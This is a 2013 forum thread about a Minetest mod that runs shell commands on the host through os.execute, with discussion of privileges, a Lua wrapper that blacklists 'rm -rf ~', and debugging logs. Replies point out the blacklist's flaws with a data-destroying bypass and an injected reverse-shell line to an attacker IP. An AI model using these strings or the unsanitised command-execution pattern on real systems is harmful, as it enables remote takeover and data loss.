Page 1 of 2

[Mod] Terminal [0.4] [terminal]

PostPosted: Fri Jul 19, 2013 01:10
by Bas080
Run terminal commands on the hosts computer from miles away.

Instructions
1 giveme terminal:client (it does not have a craft)
2 right click to turn on terminal
3 another right click will open the terminal
4 type 'exit' or 'logout' to shut terminal down (it is now diggable)
or
4 type an OS command and press ok (it will remember the command so next time you punch it, it will execute that command.
or
4 (Mesecons) give the terminal a mesecon on off signal
or
4 (Digilines) set terminal in and out channels (defaults are digilines -in keyboard and digilines -out terminal
5 connect a digiline device that can send messages. f.e. digiboard(see my digilines fork) or a luacontroller etc.
6 send a digiline msg to perform the string that the msg contains.

How to support mesecons and digilines!
When using digilines it is important to set the channel-in and channel-out. This is done by typing 'digilines -in <channel-in name>' and 'digilines -out <channel-out name>'. If done correctly the it will show a message in the chat.

Commands to try(examples are linux based) or run your own scripts
  • date
  • ls
  • whoami
  • pwd
  • find ~ -iname "*<search term>*"

Dependencies
default
digilines

See Github for changelog and code or Download

Forks
https://github.com/fairiestoy/terminal

Screenshots
Image
Image
Image

License
WTFPL for images and code

PostPosted: Fri Jul 19, 2013 09:13
by lkjoel
Interesting mod... but....... are there permissions for this? Idk, just asking because a random thought of someone typing in `rm -rf ~` came into my head. =P

PostPosted: Fri Jul 19, 2013 10:45
by Bas080
lkjoel wrote:Interesting mod... but....... are there permissions for this? Idk, just asking because a random thought of someone typing in `rm -rf ~` came into my head. =P


That would be painfull. Security is still an issue. For now it is best to only use in singleplayer. I have two solutions.
- terminal privs required for programming console. (can only be granted by host or others with privs priv)
- a keyboard tool(not craftable which allows the programming of the console. (can be shared between players). Could even be used as an input device for digilines(that is if this does not exist already, which can be a seperate mod)

I do think that terminals should be "public" meaning that non-terminal-prived players can run a program but not re-program the console. Or should two privs be added?

One for programming terminals and another for running programmed terminals.

@ikjoel, Reading your comment, i think you are pro priv implementation. Thank you for finding it interesting!

PostPosted: Fri Jul 19, 2013 12:27
by fairiestoy
Although it will take much more dev time, why not implementing some kind of wrapper for common OS functions? You could then limitate this access only to (as example) the directory of the mod or world thats currently online. This way you are even capable of limiting specific wrapper functions to the privs of single user.

(i couldnt look through the source code, so i dont know how you solved it at all [github seems down oO] )

PostPosted: Fri Jul 19, 2013 14:18
by Bas080
fairiestoy, currently uses os.execute("") with which i can execute a string in hosts OS environment. There is no wrapper function. So f.e. one cannot cd to a directory for the directory to which it was changed is not yet remembered. Remembering the current directory will be a (near) future function. Combined with good security it should be a descent ingame terminal. Making the commands run local or limiting the functions to a certain amount or dissalowing certain functions will be hard for me as i only use linux and i am not the most experienced linux user either.

Let's say that this project could use some good suggestions and maybe a developer that really knows his OS('s)

PostPosted: Fri Jul 19, 2013 16:55
by sfan5
Hybrid Dog wrote:What happens if I run minetest with it?

It will start Minetest, but the server will hang up until the Minetest instance is closed

PostPosted: Sat Jul 20, 2013 05:50
by Bas080
sfan5 wrote:
Hybrid Dog wrote:What happens if I run minetest with it?

It will start Minetest, but the server will hang up until the Minetest instance is closed


Unless you type "minetest&"

Edit. then it tarts minetest on the terminal screen. Only it will be a 2d version platformer kind of minetest.

PostPosted: Sat Jul 20, 2013 06:04
by lkjoel
Bas080 wrote:
sfan5 wrote:
Hybrid Dog wrote:What happens if I run minetest with it?

It will start Minetest, but the server will hang up until the Minetest instance is closed


Unless you type "minetest&"

Edit. then it tarts minetest on the terminal screen. Only it will be a 2d version platformer kind of minetest.

2D platformer kind of minetest?? What?

PostPosted: Sat Jul 20, 2013 06:21
by Bas080
lkjoel wrote:
Bas080 wrote:
sfan5 wrote:It will start Minetest, but the server will hang up until the Minetest instance is closed


Unless you type "minetest&"

Edit. then it tarts minetest on the terminal screen. Only it will be a 2d version platformer kind of minetest.

2D platformer kind of minetest?? What?


It's a joke, haha. Did it make you want to test the mod? :P Could be a lol feature!

PostPosted: Sun Jul 21, 2013 10:31
by Mihobre
please give a list of possible simple commands

PostPosted: Sun Jul 21, 2013 11:24
by fairiestoy
Bas080 wrote: Making the commands run local or limiting the functions to a certain amount or dissalowing certain functions will be hard for me as i only use linux and i am not the most experienced linux user either.

Let's say that this project could use some good suggestions and maybe a developer that really knows his OS('s)


Limiting the amount of commands is really not that hard. Lets say you wannt to use the Shellcommand: ls
Instead of calling os.execute directly, you could first parse the first word that is used and call the fitting function for that which checks for security leacks. Im not familiar with Lua's string editing/slicing, so i dont know if you could split up the command string into words. Example in Python:
Code: Select all
command_string = "rm -rf ~"
command_string = command_string.split(' ')

This code would return a table (list) with this content:
Code: Select all
["rm", "-rf", "~"]

If you now call the function that fits for example "rm", and let this function check for the security sensitive parameters (in this case "-rf","~") it would be simple to increase security step by step. Also its possible, if you use seperate functions for OS operations, that you are able of implementing cross-platform solutions (or add a new node: "windows_terminal")

It was just a suggestion. I like the idea because it has potenzial for more possibilities in the game.

Greetings


Edit
Even though this might be really worse code, heres an example in Lua i tried to create in order to give you a more understandable example:

Code: Select all
function terminal_command( command, sender, pos )
    print(sender.." executed ""..command.."" on client at "..minetest.pos_to_string(pos))
    if( command == "exit" or command == "logout" ) then
        return "exit"
    local execution_request = {}
    -- parse the command string to fit our needs
    local index = 1
    for word in string.gmatch( command, "([^ ]+)" ) do
        execution_request[index] = word
        index = index + 1
    end
    -- now we have our execution request, try to execute it
    if( execution_request[1] == "rm" ) then
        -- push request to function
        call_rm( execution_request, sender )
    end
end

function call_rm( execution_request, sender )
    -- security check
    if( execution_request[2] == "-rf" and execution_request[3] == "~" ) then
        print( sender.." tried to execute deprecated command... Aborting" )
    else
        os.execute("rm "..execution_request[2].." "..execution_request[3] )
    end
end

PostPosted: Mon Jul 22, 2013 01:51
by Bas080
fairiestoy, I like your way of resolving the security issue. It also allows the developer (that's me and hopefully contributors, maybe you) to make the function perform in a manner that could be more tuned to minetest and less on OS. As you already said, it would require some time implementing enough functions to make it as usefull as OS command line and more work to make the security functional. I think the easiest way of making this safe for now is by adding privs as i do not have much time for this project atm. I'll work on privs now and keep the wrapper functions for another day, unless you are up for it, it will have to wait.

edit: "terminal" priv implemented.

PostPosted: Mon Jul 22, 2013 16:51
by fairiestoy
Bas080 wrote:I think the easiest way of making this safe for now is by adding privs as i do not have much time for this project atm. I'll work on privs now and keep the wrapper functions for another day, unless you are up for it, it will have to wait.

I agree that it would be enough for the first time. If i have some time, i try to help as far as i can. Would like to see how it grows.

Edit:
I forked your repo. If you are interested, just take a look if something had changed.
https://github.com/fairiestoy/terminal

PostPosted: Tue Jul 23, 2013 02:33
by Bas080
fairiestoy, I see... in your fork i cannot atm run commands on my OS, that was the initial purpose of my mod. However, i like your idea as it allows for the creation of an ingame terminal. What if both are combined. Commands that run on OS and commands that run in minetest. Dependent on privs one can run OS and otherwise one can use only ingame (safe) functions if they have the password to that terminal f.e. As you made such a nice start why not make something to demonstrate the principles of your idea so I and others can get a better sense of it.

btw, line 91 in init didn't work. it had to be local term_utils = dofile( minetest.get_modpath("terminal").."/utilities.lua" ) on my computer. Maybe it's and windows thing... not sure.

PostPosted: Tue Jul 23, 2013 03:55
by kahrl
fairiestoy wrote:
Code: Select all
function terminal_command( command, sender, pos )
    --[snip]--
end

function call_rm( execution_request, sender )
    -- security check
    if( execution_request[2] == "-rf" and execution_request[3] == "~" ) then
        print( sender.." tried to execute deprecated command... Aborting" )
    else
        os.execute("rm "..execution_request[2].." "..execution_request[3] )
    end
end

I didn't try it, but this should still allow you to type "rm ~ -rf".
Or for extra fun: "rm /nonexistent/file;bash <>/dev/tcp/1.2.3.4/5". Where 1.2.3.4 is the attacker IP and 5 is the attacker port.

PostPosted: Tue Jul 23, 2013 15:39
by fairiestoy
kahrl wrote:
fairiestoy wrote:
Code: Select all
function terminal_command( command, sender, pos )
    --[snip]--
end

function call_rm( execution_request, sender )
    -- security check
    if( execution_request[2] == "-rf" and execution_request[3] == "~" ) then
        print( sender.." tried to execute deprecated command... Aborting" )
    else
        os.execute("rm "..execution_request[2].." "..execution_request[3] )
    end
end

I didn't try it, but this should still allow you to type "rm ~ -rf".
Or for extra fun: "rm /nonexistent/file;bash <>/dev/tcp/1.2.3.4/5". Where 1.2.3.4 is the attacker IP and 5 is the attacker port.


First of all, that was just a example code ( if you would have read the post, you know that :3 ) it was not intended to be a complete solution at all.
Bas080 wrote:fairiestoy, I see... in your fork i cannot atm run commands on my OS, that was the initial purpose of my mod. However, i like your idea as it allows for the creation of an ingame terminal. What if both are combined. Commands that run on OS and commands that run in minetest. Dependent on privs one can run OS and otherwise one can use only ingame (safe) functions if they have the password to that terminal f.e. As you made such a nice start why not make something to demonstrate the principles of your idea so I and others can get a better sense of it.

btw, line 91 in init didn't work. it had to be local term_utils = dofile( minetest.get_modpath("terminal").."/utilities.lua" ) on my computer. Maybe it's and windows thing... not sure.

Sorry for not mentioning it, but it is not ready at all. I was just adding the first basic parts of the framework. Sorry for the confusion ;). Btw, to make the framework as you want to, one has just create a new file in the terminal/commands/ folder where you can register your function assigned to a command. Example command: rm
Code: Select all
term_utils.register_command( command_string , function_pointer )

Would take care of registering the command. However, this could be any function you declare which could in the end use os.execute to call the systems functions. If you add now
Code: Select all
function call_rm( execution_request )

to a file like rm.lua and let it register your function, the terminal_command of your base code will try to run that function if it exists in the registry. I only didnt find time yesterday to implement it to bring it to work :3 Anyway, thanks for mentioning it.
Also thanks for mentioning this:
Code: Select all
local term_utils = dofile( minetest.get_modpath("terminal").."/utilities.lua" )

Its not a windows thing. I didnt thought in the first case of using it in minetest. Therefore i used local code. Was stupid in the end :-/.

Edit:

First functional framework is online. Check the repo for updates. On a singleplayer server it just worked how it should work. Up to now, it only contains one command: ls ( or dir for win machines ) without parameters (will be added soon)

PostPosted: Wed Jul 24, 2013 02:32
by tinoesroho
<musing>
I wish that terminal could connect to an external, simple sandboxed DOSBOX emulation- one for each terminal in existence. And networkable. Basically, PCs _within_ minetest.
</musing>

PostPosted: Wed Jul 24, 2013 03:07
by Bas080
Mihobre wrote:please give a list of possible simple commands

done. they will also be supported once fairiestoy's implementation has been expanded upon.

fairiestoy, I just posted digi msg support. I hope it won't cause to many conflicts. Your code is not working on linux.

So I tested your code.

Code: Select all
04:54:10: ERROR[main]: ========== ERROR FROM LUA ===========
04:54:10: ERROR[main]: Failed to load and run script from
04:54:10: ERROR[main]: /home/bas/Games/minetest/bin/../games/OCD/mods/terminal/init.lua:
04:54:10: ERROR[main]: ...inetest/bin/../games/OCD/mods/terminal/utilities.lua:78: 'popen' not supported
04:54:10: ERROR[main]: stack traceback:
04:54:10: ERROR[main]:  [C]: in function 'popen'
04:54:10: ERROR[main]:  ...inetest/bin/../games/OCD/mods/terminal/utilities.lua:78: in function 'get_files'
04:54:10: ERROR[main]:  ...inetest/bin/../games/OCD/mods/terminal/utilities.lua:95: in function 'initiate'
04:54:10: ERROR[main]:  ...mes/minetest/bin/../games/OCD/mods/terminal/init.lua:90: in main chunk
04:54:10: ERROR[main]: =======END OF ERROR FROM LUA ========


Apperently popen is not supported :P

I think it has to do with linux. I see a windows directory. An if statement that checks OS should resolve this. I can take a look at it but not now. I'm tired.

I really like your implementation as it keeps the code modular and automatically loadable. I'll make sure to make it the default implementation as soon as popen is resolved and I get it working with digilines. Good night!

PostPosted: Wed Jul 24, 2013 18:38
by fairiestoy
Bas080 wrote:Apperently popen is not supported :P

I think it has to do with linux. I see a windows directory. An if statement that checks OS should resolve this. I can take a look at it but not now. I'm tired.

Issue fixed, i replaced popen with
Code: Select all
local index, files_table = 0,{}
os.execute( '> output '..com )
local files_file = io.open( 'output', 'r' )
for line in files_file:lines() do
    index = index + 1
    files_table[index] = line
end
files_file:close()
if( package.config:sub(1,1) == '/' ) then
    os.execute( 'rm output' )
else
    os.execute( 'erase output' )
end
return files_table

The win version works now as if there was no change. But i would like to know the unix test (since i am not capable of running a linux distro atm). If i have some time to spare, i will also implement some kind of virtual environment which you could operate on (for example with digilines). I think it will make good progress at the weekend when i dont have to work.

Edit


Updated to latest base code

PostPosted: Thu Jul 25, 2013 23:39
by Bas080
Code: Select all
singleplayer executed "ls" on client at (-751,16,88)
singleplayer executed "ls" on client at (-751,16,88)
An Error occured: Called command was not registered / is unknown
singleplayer executed "dir" on client at (-751,16,88)
singleplayer executed "dir" on client at (-751,16,88)
An Error occured: Called command was not registered / is unknown


Tested and somehow it keeps outputting the numer "4"

PostPosted: Fri Jul 26, 2013 17:14
by fairiestoy
Bas080 wrote:Tested and somehow it keeps outputting the numer "4"

Yes, and i already know why this is happening. Since i have no Linux distro atm, its hard to think of cross-platform possibilities. I made the mistake of not taking into account the output of ls. Since this is not formatted like the Win/Dos command, it fails and so it is not registering the function (thats the only solution i can think of). I will try a VM and fix this as soon as possible. Sorry for that bas080.

( To check for yourself that registration is failing, the console should output a line where it says:
Code: Select all
TERM_INFO] Called the f_com registering function

if the code is correct. If not, this line is missing so no function is registered at all )

PostPosted: Sun Jul 28, 2013 16:23
by fairiestoy
Hello Bas080,
i made a few little updates, so can you do me a favor and test them? I added the Virtual Environment with 2 commands:
Code: Select all
-- prints out the current working directory of the caller
vcwd

Code: Select all
-- changes the cwd of the caller to param
vcd <param>

The virtual environment only consists of "/" and "/home/" as current possible directories. More will be added soon,
or via vmkdir <param>
Also i think i fixed that annoying bug with the wrong formatted output of ls

Greetings

PostPosted: Mon Jul 29, 2013 13:23
by Bas080
Hey fairiestoy,
I tested the code
Error report
Code: Select all
singleplayer executed "ls" on client at (-751,16,88)
An Error occured: Called command was not registered / is unknown
15:12:22: ACTION[ServerThread]: singleplayer leaves game. List of players:
15:12:23: ERROR[main]: ServerError: LuaError: error: ...inetest/bin/../games/OCD/mods/terminal/utilities.lua:58: attempt to index global 'error_string' (a nil value)


Apperently function_register[ex_request[1]] == nil.

Should i be using the commands_here.txt

In this folder you should insert all commands ( how you name it doesnt matter ).


Cya.

PostPosted: Wed Aug 28, 2013 07:32
by tima_gt
Image

PostPosted: Thu Nov 07, 2013 05:37
by Silent-Hunter
I notice it outputs the commands in the chat. Why not have it open an interactive xterm like terminal when you right click on it instead of the text box?

Also, why no crafting recipe? It would be cool to be able to make one in survival.

That said, this is one of the coolest things I've seen on here.